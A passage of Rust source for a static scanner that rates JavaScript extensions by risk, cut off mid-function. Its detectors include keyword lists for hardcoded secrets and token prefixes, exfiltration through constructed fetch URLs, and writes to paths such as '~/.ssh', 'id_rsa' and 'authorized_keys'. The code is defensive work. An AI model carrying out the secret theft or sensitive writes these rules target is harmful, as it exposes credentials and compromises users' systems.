998                | Self::DefinePropertyAbuse
999                | Self::NetworkExfiltration
1000                | Self::SensitivePathWrite
1001                | Self::GlobalMutation
1002                | Self::SymlinkCreation
1003                | Self::PermissionChange
1004                | Self::SocketListener
1005                | Self::WebAssemblyUsage
1006        ) {
1007            RiskTier::High
1008        } else if matches!(
1009            self,
1010            Self::ProcessEnvAccess
1011                | Self::TimerAbuse
1012                | Self::ProxyReflect
1013                | Self::WithStatement
1014                | Self::ArgumentsCallerAccess
1015        ) {
1016            RiskTier::Medium
1017        } else {
1018            RiskTier::Low
1019        }
1020    }
1021}
1022
1023impl fmt::Display for SecurityRuleId {
1024    fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result {
1025        f.write_str(self.name())
1026    }
1027}
1028
1029/// Risk tier for security findings.  Ordered from most to least severe so
1030/// the `Ord` derive gives the correct comparison direction.
1031#[derive(Debug, Clone, Copy, PartialEq, Eq, PartialOrd, Ord, Hash, Serialize, Deserialize)]
1032#[serde(rename_all = "snake_case")]
1033pub enum RiskTier {
1034    /// Immediate block — active exploit vector.
1035    Critical,
1036    /// Likely dangerous — should block by default.
1037    High,
1038    /// Suspicious — warrants review.
1039    Medium,
1040    /// Informational risk — monitor.
1041    Low,
1042}
1043
1044impl fmt::Display for RiskTier {
1045    fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result {
1046        match self {
1047            Self::Critical => f.write_str("critical"),
1048            Self::High => f.write_str("high"),
1049            Self::Medium => f.write_str("medium"),
1050            Self::Low => f.write_str("low"),
1051        }
1052    }
1053}
1054
1055/// A single security finding from static analysis.
1056#[derive(Debug, Clone, Serialize, Deserialize)]
1057pub struct SecurityFinding {
1058    /// Stable rule identifier.
1059    pub rule_id: SecurityRuleId,
1060    /// Risk tier (may differ from `rule_id.default_tier()` if context
1061    /// modifies severity).
1062    pub risk_tier: RiskTier,
1063    /// Human-readable rationale for the finding.
1064    pub rationale: String,
1065    /// Source file path (relative to extension root).
1066    #[serde(default, skip_serializing_if = "Option::is_none")]
1067    pub file: Option<String>,
1068    /// 1-based line number.
1069    #[serde(default, skip_serializing_if = "Option::is_none")]
1070    pub line: Option<usize>,
1071    /// 1-based column number.
1072    #[serde(default, skip_serializing_if = "Option::is_none")]
1073    pub column: Option<usize>,
1074    /// Matched source snippet (trimmed).
1075    #[serde(default, skip_serializing_if = "Option::is_none")]
1076    pub snippet: Option<String>,
1077}
1078
1079/// Aggregate risk classification for an extension.
1080#[derive(Debug, Clone, Serialize, Deserialize)]
1081pub struct SecurityScanReport {
1082    /// Schema version.
1083    pub schema: String,
1084    /// Extension identifier.
1085    pub extension_id: String,
1086    /// Overall risk tier (worst finding).
1087    pub overall_tier: RiskTier,
1088    /// Counts per tier.
1089    pub tier_counts: SecurityTierCounts,
1090    /// Individual findings sorted by tier (worst first).
1091    pub findings: Vec<SecurityFinding>,
1092    /// Human-readable one-line verdict.
1093    pub verdict: String,
1094    /// Rulebook version that produced this report.
1095    pub rulebook_version: String,
1096}
1097
1098/// Counts by risk tier.
1099#[derive(Debug, Clone, Default, Serialize, Deserialize)]
1100pub struct SecurityTierCounts {
1101    pub critical: usize,
1102    pub high: usize,
1103    pub medium: usize,
1104    pub low: usize,
1105}
1106
1107/// Current rulebook version. Bump when rules are added or changed.
1108///
1109/// v2.0.0: Added 9 rules (SEC-SPAWN-001, SEC-CONSTRUCTOR-001, SEC-NATIVEMOD-001,
1110///   SEC-GLOBAL-001, SEC-SYMLINK-001, SEC-CHMOD-001, SEC-SOCKET-001,
1111///   SEC-WASM-001, SEC-ARGUMENTS-001). Stabilized deterministic sort order.
1112pub const SECURITY_RULEBOOK_VERSION: &str = "2.0.0";
1113
1114impl SecurityScanReport {
1115    /// Build from a list of findings.
1116    ///
1117    /// Findings are sorted deterministically: first by risk tier (Critical
1118    /// first), then by file path, then by line number, then by rule ID name.
1119    /// This guarantees identical output for identical input regardless of
1120    /// scan traversal order.
1121    #[must_use]
1122    pub fn from_findings(extension_id: String, mut findings: Vec<SecurityFinding>) -> Self {
1123        // Deterministic sort: tier → file → line → column → rule name.
1124        findings.sort_by(|a, b| {
1125            a.risk_tier
1126                .cmp(&b.risk_tier)
1127                .then_with(|| {
1128                    a.file
1129                        .as_deref()
1130                        .unwrap_or("")
1131                        .cmp(b.file.as_deref().unwrap_or(""))
1132                })
1133                .then_with(|| a.line.cmp(&b.line))
1134                .then_with(|| a.column.cmp(&b.column))
1135                .then_with(|| a.rule_id.name().cmp(b.rule_id.name()))
1136        });
1137
1138        let mut counts = SecurityTierCounts::default();
1139        for f in &findings {
1140            match f.risk_tier {
1141                RiskTier::Critical => counts.critical += 1,
1142                RiskTier::High => counts.high += 1,
1143                RiskTier::Medium => counts.medium += 1,
1144                RiskTier::Low => counts.low += 1,
1145            }
1146        }
1147
1148        let overall_tier = findings.first().map_or(RiskTier::Low, |f| f.risk_tier);
1149
1150        let verdict = match overall_tier {
1151            RiskTier::Critical => format!(
1152                "BLOCK: {} critical finding(s) — active exploit vectors detected",
1153                counts.critical
1154            ),
1155            RiskTier::High => format!(
1156                "REVIEW REQUIRED: {} high-risk finding(s) — likely dangerous patterns",
1157                counts.high
1158            ),
1159            RiskTier::Medium => format!(
1160                "CAUTION: {} medium-risk finding(s) — warrants review",
1161                counts.medium
1162            ),
1163            RiskTier::Low if findings.is_empty() => "CLEAN: no security findings".to_string(),
1164            RiskTier::Low => format!("INFO: {} low-risk finding(s) — informational", counts.low),
1165        };
1166
1167        Self {
1168            schema: SECURITY_SCAN_SCHEMA.to_string(),
1169            extension_id,
1170            overall_tier,
1171            tier_counts: counts,
1172            findings,
1173            verdict,
1174            rulebook_version: SECURITY_RULEBOOK_VERSION.to_string(),
1175        }
1176    }
1177
1178    /// Serialize to pretty JSON.
1179    ///
1180    /// # Errors
1181    ///
1182    /// Returns an error if serialization fails.
1183    pub fn to_json(&self) -> Result<String, serde_json::Error> {
1184        serde_json::to_string_pretty(self)
1185    }
1186
1187    /// Whether the report recommends blocking the extension.
1188    #[must_use]
1189    pub const fn should_block(&self) -> bool {
1190        matches!(self.overall_tier, RiskTier::Critical)
1191    }
1192
1193    /// Whether the report recommends manual review.
1194    #[must_use]
1195    pub const fn needs_review(&self) -> bool {
1196        matches!(self.overall_tier, RiskTier::Critical | RiskTier::High)
1197    }
1198}
1199
1200// ============================================================================
1201// Evidence ledger for correlation with runtime behavior
1202// ============================================================================
1203
1204/// Schema version for the security evidence ledger.
1205pub const SECURITY_EVIDENCE_LEDGER_SCHEMA: &str = "pi.ext.security_evidence_ledger.v1";
1206
1207/// A single evidence entry for the security ledger. Designed for JSONL
1208/// serialization so it can be correlated with runtime hostcall telemetry.
1209#[derive(Debug, Clone, Serialize, Deserialize)]
1210pub struct SecurityEvidenceLedgerEntry {
1211    pub schema: String,
1212    /// Monotonic entry index within this scan.
1213    pub entry_index: usize,
1214    /// Extension identifier.
1215    pub extension_id: String,
1216    /// Rule ID that fired.
1217    pub rule_id: SecurityRuleId,
1218    /// Risk tier.
1219    pub risk_tier: RiskTier,
1220    /// Human-readable rationale.
1221    pub rationale: String,
1222    /// Source file (relative).
1223    #[serde(default, skip_serializing_if = "Option::is_none")]
1224    pub file: Option<String>,
1225    /// 1-based line.
1226    #[serde(default, skip_serializing_if = "Option::is_none")]
1227    pub line: Option<usize>,
1228    /// 1-based column.
1229    #[serde(default, skip_serializing_if = "Option::is_none")]
1230    pub column: Option<usize>,
1231    /// Rulebook version.
1232    pub rulebook_version: String,
1233}
1234
1235impl SecurityEvidenceLedgerEntry {
1236    /// Convert a `SecurityFinding` into a ledger entry.
1237    #[must_use]
1238    pub fn from_finding(entry_index: usize, extension_id: &str, finding: &SecurityFinding) -> Self {
1239        Self {
1240            schema: SECURITY_EVIDENCE_LEDGER_SCHEMA.to_string(),
1241            entry_index,
1242            extension_id: extension_id.to_string(),
1243            rule_id: finding.rule_id,
1244            risk_tier: finding.risk_tier,
1245            rationale: finding.rationale.clone(),
1246            file: finding.file.clone(),
1247            line: finding.line,
1248            column: finding.column,
1249            rulebook_version: SECURITY_RULEBOOK_VERSION.to_string(),
1250        }
1251    }
1252}
1253
1254/// Produce a JSONL evidence ledger from a security scan report.
1255///
1256/// # Errors
1257///
1258/// Returns an error if serialization of any entry fails.
1259pub fn security_evidence_ledger_jsonl(
1260    report: &SecurityScanReport,
1261) -> Result<String, serde_json::Error> {
1262    let mut out = String::new();
1263    for (i, finding) in report.findings.iter().enumerate() {
1264        let entry = SecurityEvidenceLedgerEntry::from_finding(i, &report.extension_id, finding);
1265        if i > 0 {
1266            out.push('\n');
1267        }
1268        out.push_str(&serde_json::to_string(&entry)?);
1269    }
1270    Ok(out)
1271}
1272
1273// ============================================================================
1274// Security scanner implementation
1275// ============================================================================
1276
1277/// Scans extension source for security-sensitive patterns and produces a
1278/// deterministic risk classification report.
1279pub struct SecurityScanner;
1280
1281impl SecurityScanner {
1282    /// Scan raw source text and produce a security scan report.
1283    #[must_use]
1284    pub fn scan_source(extension_id: &str, source: &str) -> SecurityScanReport {
1285        let mut findings = Vec::new();
1286
1287        for (idx, line) in source.lines().enumerate() {
1288            let line_no = idx + 1;
1289            let trimmed = line.trim();
1290
1291            // Skip empty lines and full-line comments.
1292            if trimmed.is_empty()
1293                || trimmed.starts_with("//")
1294                || trimmed.starts_with('*')
1295                || trimmed.starts_with("/*")
1296            {
1297                continue;
1298            }
1299
1300            Self::scan_line(trimmed, line_no, &mut findings);
1301        }
1302
1303        SecurityScanReport::from_findings(extension_id.to_string(), findings)
1304    }
1305
1306    /// Scan extension files under a directory.
1307    pub fn scan_path(extension_id: &str, path: &Path, root: &Path) -> SecurityScanReport {
1308        let files = collect_scannable_files(path);
1309        let mut findings = Vec::new();
1310
1311        for file_path in &files {
1312            let Ok(content) = std::fs::read_to_string(file_path) else {
1313                continue;
1314            };
1315            let rel = relative_posix_path(root, file_path);
1316            let mut in_block_comment = false;
1317
1318            for (idx, raw_line) in content.lines().enumerate() {
1319                let line_no = idx + 1;
1320
1321                // Track block comments.
1322                let line = strip_block_comment_tracking(raw_line, &mut in_block_comment);
1323                let trimmed = line.trim();
1324
1325                if trimmed.is_empty() || trimmed.starts_with("//") || trimmed.starts_with('*') {
1326                    continue;
1327                }
1328
1329                Self::scan_line_with_file(trimmed, line_no, &rel, &mut findings);
1330            }
1331        }
1332
1333        SecurityScanReport::from_findings(extension_id.to_string(), findings)
1334    }
1335
1336    fn scan_line(text: &str, line_no: usize, findings: &mut Vec<SecurityFinding>) {
1337        Self::scan_line_with_file(text, line_no, "", findings);
1338    }
1339
1340    #[allow(clippy::too_many_lines)]
1341    fn scan_line_with_file(
1342        text: &str,
1343        line_no: usize,
1344        file: &str,
1345        findings: &mut Vec<SecurityFinding>,
1346    ) {
1347        let file_opt = if file.is_empty() {
1348            None
1349        } else {
1350            Some(file.to_string())
1351        };
1352
1353        // ---- Critical tier ----
1354
1355        // SEC-EVAL-001: eval() usage (not in string or property name).
1356        if contains_eval_call(text) {
1357            findings.push(SecurityFinding {
1358                rule_id: SecurityRuleId::EvalUsage,
1359                risk_tier: RiskTier::Critical,
1360                rationale: "eval() enables arbitrary code execution at runtime".to_string(),
1361                file: file_opt.clone(),
1362                line: Some(line_no),
1363                column: text.find("eval(").map(|c| c + 1),
1364                snippet: Some(truncate_snippet(text)),
1365            });
1366        }
1367
1368        // SEC-FUNC-001: new Function(...).
1369        if text.contains("new Function") && !text.contains("new Function()") {
1370            findings.push(SecurityFinding {
1371                rule_id: SecurityRuleId::NewFunctionUsage,
1372                risk_tier: RiskTier::Critical,
1373                rationale: "new Function() creates code from strings, enabling injection"
1374                    .to_string(),
1375                file: file_opt.clone(),
1376                line: Some(line_no),
1377                column: text.find("new Function").map(|c| c + 1),
1378                snippet: Some(truncate_snippet(text)),
1379            });
1380        }
1381
1382        // SEC-BIND-001: process.binding().
1383        if text.contains("process.binding") {
1384            findings.push(SecurityFinding {
1385                rule_id: SecurityRuleId::ProcessBinding,
1386                risk_tier: RiskTier::Critical,
1387                rationale: "process.binding() accesses internal Node.js C++ bindings".to_string(),
1388                file: file_opt.clone(),
1389                line: Some(line_no),
1390                column: text.find("process.binding").map(|c| c + 1),
1391                snippet: Some(truncate_snippet(text)),
1392            });
1393        }
1394
1395        // SEC-DLOPEN-001: process.dlopen().
1396        if text.contains("process.dlopen") {
1397            findings.push(SecurityFinding {
1398                rule_id: SecurityRuleId::ProcessDlopen,
1399                risk_tier: RiskTier::Critical,
1400                rationale: "process.dlopen() loads native addons, bypassing sandbox".to_string(),
1401                file: file_opt.clone(),
1402                line: Some(line_no),
1403                column: text.find("process.dlopen").map(|c| c + 1),
1404                snippet: Some(truncate_snippet(text)),
1405            });
1406        }
1407
1408        // SEC-PROTO-001: __proto__ assignment.
1409        if text.contains("__proto__") || text.contains("Object.setPrototypeOf") {
1410            findings.push(SecurityFinding {
1411                rule_id: SecurityRuleId::ProtoPollution,
1412                risk_tier: RiskTier::Critical,
1413                rationale: "Prototype manipulation can pollute shared object chains".to_string(),
1414                file: file_opt.clone(),
1415                line: Some(line_no),
1416                column: text
1417                    .find("__proto__")
1418                    .or_else(|| text.find("Object.setPrototypeOf"))
1419                    .map(|c| c + 1),
1420                snippet: Some(truncate_snippet(text)),
1421            });
1422        }
1423
1424        // SEC-RCACHE-001: require.cache manipulation.
1425        if text.contains("require.cache") {
1426            findings.push(SecurityFinding {
1427                rule_id: SecurityRuleId::RequireCacheManip,
1428                risk_tier: RiskTier::Critical,
1429                rationale: "require.cache manipulation can hijack module resolution".to_string(),
1430                file: file_opt.clone(),
1431                line: Some(line_no),
1432                column: text.find("require.cache").map(|c| c + 1),
1433                snippet: Some(truncate_snippet(text)),
1434            });
1435        }
1436
1437        // ---- High tier ----
1438
1439        // SEC-SECRET-001: hardcoded secrets.
1440        if contains_hardcoded_secret(text) {
1441            findings.push(SecurityFinding {
1442                rule_id: SecurityRuleId::HardcodedSecret,
1443                risk_tier: RiskTier::High,
1444                rationale: "Potential hardcoded secret or API key detected".to_string(),
1445                file: file_opt.clone(),
1446                line: Some(line_no),
1447                column: None,
1448                snippet: Some(truncate_snippet(text)),
1449            });
1450        }
1451
1452        // SEC-DIMPORT-001: dynamic import().
1453        if contains_dynamic_import(text) {
1454            findings.push(SecurityFinding {
1455                rule_id: SecurityRuleId::DynamicImport,
1456                risk_tier: RiskTier::High,
1457                rationale: "Dynamic import() can load arbitrary modules at runtime".to_string(),
1458                file: file_opt.clone(),
1459                line: Some(line_no),
1460                column: text.find("import(").map(|c| c + 1),
1461                snippet: Some(truncate_snippet(text)),
1462            });
1463        }
1464
1465        // SEC-DEFPROP-001: Object.defineProperty on global/prototype.
1466        if text.contains("Object.defineProperty")
1467            && (text.contains("globalThis")
1468                || text.contains("global.")
1469                || text.contains("prototype"))
1470        {
1471            findings.push(SecurityFinding {
1472                rule_id: SecurityRuleId::DefinePropertyAbuse,
1473                risk_tier: RiskTier::High,
1474                rationale: "Object.defineProperty on global/prototype can intercept operations"
1475                    .to_string(),
1476                file: file_opt.clone(),
1477                line: Some(line_no),
1478                column: text.find("Object.defineProperty").map(|c| c + 1),
1479                snippet: Some(truncate_snippet(text)),
1480            });
1481        }
1482
1483        // SEC-EXFIL-001: Network exfiltration patterns.
1484        if contains_exfiltration_pattern(text) {
1485            findings.push(SecurityFinding {
1486                rule_id: SecurityRuleId::NetworkExfiltration,
1487                risk_tier: RiskTier::High,
1488                rationale: "Potential data exfiltration via constructed network request"
1489                    .to_string(),
1490                file: file_opt.clone(),
1491                line: Some(line_no),
1492                column: None,
1493                snippet: Some(truncate_snippet(text)),
1494            });
1495        }
1496
1497        // SEC-FSSENS-001: Writes to sensitive paths.
1498        if contains_sensitive_path_write(text) {
1499            findings.push(SecurityFinding {
1500                rule_id: SecurityRuleId::SensitivePathWrite,
1501                risk_tier: RiskTier::High,
1502                rationale: "Write to security-sensitive filesystem path detected".to_string(),
1503                file: file_opt.clone(),
1504                line: Some(line_no),
1505                column: None,
1506                snippet: Some(truncate_snippet(text)),
1507            });
1508        }
1509
1510        // ---- Medium tier ----
1511
1512        // SEC-ENV-001: process.env access.
1513        if text.contains("process.env") {
1514            findings.push(SecurityFinding {
1515                rule_id: SecurityRuleId::ProcessEnvAccess,
1516                risk_tier: RiskTier::Medium,
1517                rationale: "process.env access may expose secrets or configuration".to_string(),
1518                file: file_opt.clone(),
1519                line: Some(line_no),
1520                column: text.find("process.env").map(|c| c + 1),
1521                snippet: Some(truncate_snippet(text)),
1522            });
1523        }
1524
1525        // SEC-TIMER-001: Timer abuse (very short intervals).
1526        if contains_timer_abuse(text) {
1527            findings.push(SecurityFinding {
1528                rule_id: SecurityRuleId::TimerAbuse,
1529                risk_tier: RiskTier::Medium,
1530                rationale: "Very short timer interval may indicate resource abuse".to_string(),
1531                file: file_opt.clone(),
1532                line: Some(line_no),
1533                column: None,
1534                snippet: Some(truncate_snippet(text)),
1535            });
1536        }
1537
1538        // SEC-PROXY-001: Proxy/Reflect usage.
1539        if text.contains("new Proxy") || text.contains("Reflect.") {
1540            findings.push(SecurityFinding {
1541                rule_id: SecurityRuleId::ProxyReflect,
1542                risk_tier: RiskTier::Medium,
1543                rationale: "Proxy/Reflect can intercept and modify object operations transparently"
1544                    .to_string(),
1545                file: file_opt.clone(),
1546                line: Some(line_no),
1547                column: text
1548                    .find("new Proxy")
1549                    .or_else(|| text.find("Reflect."))
1550                    .map(|c| c + 1),
1551                snippet: Some(truncate_snippet(text)),
1552            });
1553        }
1554
1555        // SEC-WITH-001: with statement.
1556        if contains_with_statement(text) {
1557            findings.push(SecurityFinding {
1558                rule_id: SecurityRuleId::WithStatement,
1559                risk_tier: RiskTier::Medium,
1560                rationale:
1561                    "with statement modifies scope chain, making variable resolution unpredictable"
1562                        .to_string(),
1563                file: file_opt.clone(),
1564                line: Some(line_no),
1565                column: text.find("with").map(|c| c + 1),
1566                snippet: Some(truncate_snippet(text)),
1567            });
1568        }
1569
1570        // ---- Low tier ----
1571
1572        // SEC-DEBUG-001: debugger statement.
1573        if text.contains("debugger") && is_debugger_statement(text) {
1574            findings.push(SecurityFinding {
1575                rule_id: SecurityRuleId::DebuggerStatement,
1576                risk_tier: RiskTier::Low,
1577                rationale: "debugger statement left in production code".to_string(),
1578                file: file_opt.clone(),
1579                line: Some(line_no),
1580                column: text.find("debugger").map(|c| c + 1),
1581                snippet: Some(truncate_snippet(text)),
1582            });
1583        }
1584
1585        // SEC-CONSOLE-001: console.error/warn with interpolated values.
1586        if contains_console_info_leak(text) {
1587            findings.push(SecurityFinding {
1588                rule_id: SecurityRuleId::ConsoleInfoLeak,
1589                risk_tier: RiskTier::Low,
1590                rationale: "Console output may leak sensitive information".to_string(),
1591                file: file_opt.clone(),
1592                line: Some(line_no),
1593                column: text.find("console.").map(|c| c + 1),
1594                snippet: Some(truncate_snippet(text)),
1595            });
1596        }
1597
1598        // ==== Rules added in rulebook v2.0.0 ====
1599
1600        // ---- Critical tier (v2) ----
1601
1602        // SEC-SPAWN-001: child_process command execution.
1603        if contains_child_process_spawn(text) {
1604            findings.push(SecurityFinding {
1605                rule_id: SecurityRuleId::ChildProcessSpawn,
1606                risk_tier: RiskTier::Critical,
1607                rationale: "child_process command execution enables arbitrary system commands"
1608                    .to_string(),
1609                file: file_opt.clone(),
1610                line: Some(line_no),
1611                column: find_child_process_column(text),
1612                snippet: Some(truncate_snippet(text)),
1613            });
1614        }
1615
1616        // SEC-CONSTRUCTOR-001: constructor.constructor sandbox escape.
1617        if text.contains("constructor.constructor") || text.contains("constructor[\"constructor\"]")
1618        {
1619            findings.push(SecurityFinding {
1620                rule_id: SecurityRuleId::ConstructorEscape,
1621                risk_tier: RiskTier::Critical,
1622                rationale:
1623                    "constructor.constructor() can escape sandbox by accessing Function constructor"
1624                        .to_string(),
1625                file: file_opt.clone(),
1626                line: Some(line_no),
1627                column: text
1628                    .find("constructor.constructor")
1629                    .or_else(|| text.find("constructor[\"constructor\"]"))
1630                    .map(|c| c + 1),
1631                snippet: Some(truncate_snippet(text)),
1632            });
1633        }
1634
1635        // SEC-NATIVEMOD-001: native module require (.node/.so/.dylib).
1636        if contains_native_module_require(text) {
1637            findings.push(SecurityFinding {
1638                rule_id: SecurityRuleId::NativeModuleRequire,
1639                risk_tier: RiskTier::Critical,
1640                rationale: "Requiring native addon (.node/.so/.dylib) bypasses JS sandbox"
1641                    .to_string(),
1642                file: file_opt.clone(),
1643                line: Some(line_no),
1644                column: text.find("require(").map(|c| c + 1),
1645                snippet: Some(truncate_snippet(text)),
1646            });
1647        }
1648
1649        // ---- High tier (v2) ----
1650
1651        // SEC-GLOBAL-001: globalThis/global property mutation.
1652        if contains_global_mutation(text) {
1653            findings.push(SecurityFinding {
1654                rule_id: SecurityRuleId::GlobalMutation,
1655                risk_tier: RiskTier::High,
1656                rationale: "Mutating globalThis/global properties can escape sandbox scope"
1657                    .to_string(),
1658                file: file_opt.clone(),
1659                line: Some(line_no),
1660                column: text
1661                    .find("globalThis.")
1662                    .or_else(|| text.find("global."))
1663                    .or_else(|| text.find("globalThis["))
1664                    .map(|c| c + 1),
1665                snippet: Some(truncate_snippet(text)),
1666            });
1667        }
1668
1669        // SEC-SYMLINK-001: symlink/link creation.
1670        if contains_symlink_creation(text) {
1671            findings.push(SecurityFinding {
1672                rule_id: SecurityRuleId::SymlinkCreation,
1673                risk_tier: RiskTier::High,
1674                rationale: "Symlink/link creation can enable path traversal attacks".to_string(),
1675                file: file_opt.clone(),
1676                line: Some(line_no),
1677                column: text
1678                    .find("symlink")
1679                    .or_else(|| text.find("link"))
1680                    .map(|c| c + 1),
1681                snippet: Some(truncate_snippet(text)),
1682            });
1683        }
1684
1685        // SEC-CHMOD-001: permission changes.
1686        if contains_permission_change(text) {
1687            findings.push(SecurityFinding {
1688                rule_id: SecurityRuleId::PermissionChange,
1689                risk_tier: RiskTier::High,
1690                rationale: "Changing file permissions can enable privilege escalation".to_string(),
1691                file: file_opt.clone(),
1692                line: Some(line_no),
1693                column: text
1694                    .find("chmod")
1695                    .or_else(|| text.find("chown"))
1696                    .map(|c| c + 1),
1697                snippet: Some(truncate_snippet(text)),
1698            });
1699        }
1700
1701        // SEC-SOCKET-001: network listener creation.
1702        if contains_socket_listener(text) {
1703            findings.push(SecurityFinding {
1704                rule_id: SecurityRuleId::SocketListener,
1705                risk_tier: RiskTier::High,
1706                rationale: "Creating network listeners opens unauthorized server ports".to_string(),
1707                file: file_opt.clone(),
1708                line: Some(line_no),
1709                column: text
1710                    .find("createServer")
1711                    .or_else(|| text.find("createSocket"))
1712                    .map(|c| c + 1),
1713                snippet: Some(truncate_snippet(text)),
1714            });
1715        }
1716
1717        // SEC-WASM-001: WebAssembly usage.
1718        if text.contains("WebAssembly.") {
1719            findings.push(SecurityFinding {
1720                rule_id: SecurityRuleId::WebAssemblyUsage,
1721                risk_tier: RiskTier::High,
1722                rationale: "WebAssembly can execute native code, bypassing JS sandbox controls"
1723                    .to_string(),
1724                file: file_opt.clone(),
1725                line: Some(line_no),
1726                column: text.find("WebAssembly.").map(|c| c + 1),
1727                snippet: Some(truncate_snippet(text)),
1728            });
1729        }
1730
1731        // ---- Medium tier (v2) ----
1732
1733        // SEC-ARGUMENTS-001: arguments.callee.caller introspection.
1734        if text.contains("arguments.callee") || text.contains("arguments.caller") {
1735            findings.push(SecurityFinding {
1736                rule_id: SecurityRuleId::ArgumentsCallerAccess,
1737                risk_tier: RiskTier::Medium,
1738                rationale:
1739                    "arguments.callee/caller enables stack introspection and caller chain walking"
1740                        .to_string(),
1741                file: file_opt,
1742                line: Some(line_no),
1743                column: text
1744                    .find("arguments.callee")
1745                    .or_else(|| text.find("arguments.caller"))
1746                    .map(|c| c + 1),
1747                snippet: Some(truncate_snippet(text)),
1748            });
1749        }
1750    }
1751}
1752
1753// ============================================================================
1754// Pattern detection helpers
1755// ============================================================================
1756
1757const fn is_js_ident_continue(byte: u8) -> bool {
1758    byte.is_ascii_alphanumeric() || matches!(byte, b'_' | b'$')
1759}
1760
1761/// Check for `eval(...)` that isn't in a property name or string context.
1762fn contains_eval_call(text: &str) -> bool {
1763    let mut search = text;
1764    while let Some(pos) = search.find("eval(") {
1765        // Not preceded by a dot (method call on object) or letter (part of
1766        // another identifier like `retrieval`).
1767        if pos == 0
1768            || (!is_js_ident_continue(search.as_bytes()[pos - 1])
1769                && search.as_bytes()[pos - 1] != b'.')
1770        {
1771            return true;
1772        }
1773        search = &search[pos + 5..];
1774    }
1775    false
1776}
1777
1778/// Check for dynamic `import(...)` — not static `import ... from`.
1779fn contains_dynamic_import(text: &str) -> bool {
1780    let trimmed = text.trim();
1781    // Static import statements start with `import` at the beginning.
1782    if trimmed.starts_with("import ") || trimmed.starts_with("import{") {
1783        return false;
1784    }
1785    text.contains("import(")
1786}
1787
1788/// Detect hardcoded secret patterns: API keys, tokens, passwords.
1789fn contains_hardcoded_secret(text: &str) -> bool {
1790    let lower = text.to_ascii_lowercase();
1791    // Look for assignment patterns with secret-like names.
1792    let secret_keywords = [
1793        "api_key",
1794        "apikey",
1795        "api-key",
1796        "secret_key",
1797        "secretkey",
1798        "secret-key",
1799        "password",
1800        "passwd",
1801        "access_token",
1802        "accesstoken",
1803        "private_key",
1804        "privatekey",
1805        "auth_token",
1806        "authtoken",
1807    ];
1808
1809    for kw in &secret_keywords {
1810        if let Some(kw_pos) = lower.find(kw) {
1811            // Check if followed by assignment with a string literal.
1812            let rest = &text[kw_pos + kw.len()..];
1813            let rest_trimmed = rest.trim_start();
1814            if (rest_trimmed.starts_with("=\"")
1815                || rest_trimmed.starts_with("= \"")
1816                || rest_trimmed.starts_with("='")
1817                || rest_trimmed.starts_with("= '")
1818                || rest_trimmed.starts_with(": \"")
1819                || rest_trimmed.starts_with(":\"")
1820                || rest_trimmed.starts_with(": '")
1821                || rest_trimmed.starts_with(":'"))
1822                // Ignore env lookups: process.env.API_KEY
1823                && !lower[..kw_pos].ends_with("process.env.")
1824                && !lower[..kw_pos].ends_with("env.")
1825                // Ignore empty strings.
1826                && !rest_trimmed.starts_with("=\"\"")
1827                && !rest_trimmed.starts_with("= \"\"")
1828                && !rest_trimmed.starts_with("=''")
1829                && !rest_trimmed.starts_with("= ''")
1830            {
1831                return true;
1832            }
1833        }
1834    }
1835
1836    // Also detect common token prefixes (sk-ant-, ghp_, etc.) assigned as literals.
1837    let token_prefixes = ["sk-ant-", "sk-", "ghp_", "gho_", "glpat-", "xoxb-", "xoxp-"];
1838    for pfx in &token_prefixes {
1839        if text.contains(&format!("\"{pfx}")) || text.contains(&format!("'{pfx}")) {
1840            return true;
1841        }
1842    }
1843
1844    false
1845}
1846
1847/// Detect network exfiltration: fetch/XMLHttpRequest with template literals
1848/// or concatenated URLs (not simple static URLs).
1849fn contains_exfiltration_pattern(text: &str) -> bool {
1850    let has_network_call = text.contains("fetch(") || text.contains("XMLHttpRequest");
1851    if !has_network_call {
1852        return false;
1853    }
1854    // Suspicious if URL is constructed from variables (template literal or concat).
1855    text.contains("fetch(`") || text.contains("fetch(\"http\" +") || text.contains("fetch(url")
1856}
1857
1858/// Detect writes to sensitive filesystem paths.
1859fn contains_sensitive_path_write(text: &str) -> bool {
1860    let has_write = text.contains("writeFileSync")
1861        || text.contains("writeFile(")
1862        || text.contains("fs.write")
1863        || text.contains("appendFileSync")
1864        || text.contains("appendFile(");
1865    if !has_write {
1866        return false;
1867    }
1868    let sensitive_paths = [
1869        "/etc/",
1870        "/root/",
1871        "~/.ssh",
1872        "~/.bashrc",
1873        "~/.profile",
1874        "~/.zshrc",
1875        "/usr/",
1876        "/var/",
1877        ".env",
1878        "id_rsa",
1879        "authorized_keys",
1880    ];
1881    sensitive_paths.iter().any(|p| text.contains(p))
1882}
1883
1884/// Detect very short timer intervals (< 10ms).
1885fn contains_timer_abuse(text: &str) -> bool {
1886    if !text.contains("setInterval") {
1887        return false;
1888    }
1889    // Look for setInterval(..., N) where N < 10.
1890    if let Some(pos) = text.rfind(", ") {
1891        let rest = text[pos + 2..]
1892            .trim_end_matches(';')
1893            .trim_end_matches(')')
1894            .trim();
1895        if let Ok(ms) = rest.parse::<u64>() {
1896            return ms < 10;
1897        }
1898    }
1899    false
1900}
1901
1902/// Detect `with (...)` statement — not `width` or `without`.
1903fn contains_with_statement(text: &str) -> bool {
1904    let trimmed = text.trim();
1905    // `with` as a statement: `with (` at statement position.
1906    if trimmed.starts_with("with (") || trimmed.starts_with("with(") {
1907        return true;
1908    }
1909    // Also catch `} with (` for inline blocks.
1910    if let Some(pos) = text.find("with") {
1911        if pos > 0 {
1912            let before = text[..pos].trim_end();
1913            let after = text[pos + 4..].trim_start();
1914            if (before.ends_with('{') || before.ends_with('}') || before.ends_with(';'))
1915                && after.starts_with('(')
1916            {
1917                return true;
1918            }
1919        }
1920    }
1921    false
1922}
1923
1924/// Detect `debugger;` as a standalone statement.
1925fn is_debugger_statement(text: &str) -> bool {
1926    let trimmed = text.trim();
1927    trimmed == "debugger;" || trimmed == "debugger" || trimmed.starts_with("debugger;")
1928}
1929
1930/// Detect console.error/warn/log with interpolated values (not just strings).
1931fn contains_console_info_leak(text: &str) -> bool {
1932    // Only flag console.error/warn which more likely leak sensitive data.
1933    if !text.contains("console.error") && !text.contains("console.warn") {
1934        return false;
1935    }
1936    // Flag if there's variable interpolation or multiple args.
1937    text.contains("console.error(") || text.contains("console.warn(")
1938}
1939
1940// ---- Pattern detection helpers added in rulebook v2.0.0 ----
1941
1942/// Detect `child_process` command execution: exec, execSync, spawn, spawnSync,
1943/// execFile, execFileSync, fork.
1944fn contains_child_process_spawn(text: &str) -> bool {
1945    let spawn_patterns = [
1946        "exec(",
